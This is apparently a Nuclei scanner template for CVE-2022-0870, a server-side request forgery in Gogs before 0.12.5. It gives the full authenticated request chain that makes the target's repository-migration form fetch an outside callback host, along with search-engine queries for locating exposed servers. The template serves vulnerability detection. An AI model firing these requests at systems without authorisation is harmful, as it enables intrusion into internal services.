Gogs <0.12.5 - Server-Side Request Forgery

id: CVE-2022-0870

info:
  name: Gogs <0.12.5 - Server-Side Request Forgery
  author: theamanrawat,Akincibor
  severity: medium
  description: |
    Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
  remediation: Fixed in version 0.12.5.
  reference:
    - https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb
    - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0870
    - https://github.com/cokeBeer/go-cves
    - https://github.com/michaellrowley/michaellrowley
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0870
    cwe-id: CWE-918
    epss-score: 0.03422
    epss-percentile: 0.87406
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2022,ssrf,gogs,authenticated,huntr,vuln

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/migrate HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/migrate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

      - type: word
        part: body_1
        words:
          - 'content="Gogs'

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - 'name="_csrf" content="(.*)"'
        internal: true
# digest: 4a0a0047304502206b91ec5638c853f93fd4e02d0534da50d627d83b8b719efe40095bc72a860324022100b2fa2aad3821c56d12c791efd1f2d86c7ec2956bd6a8305a60b77ff9fcf66d81:922c64590222798bb761d5b6d8e72950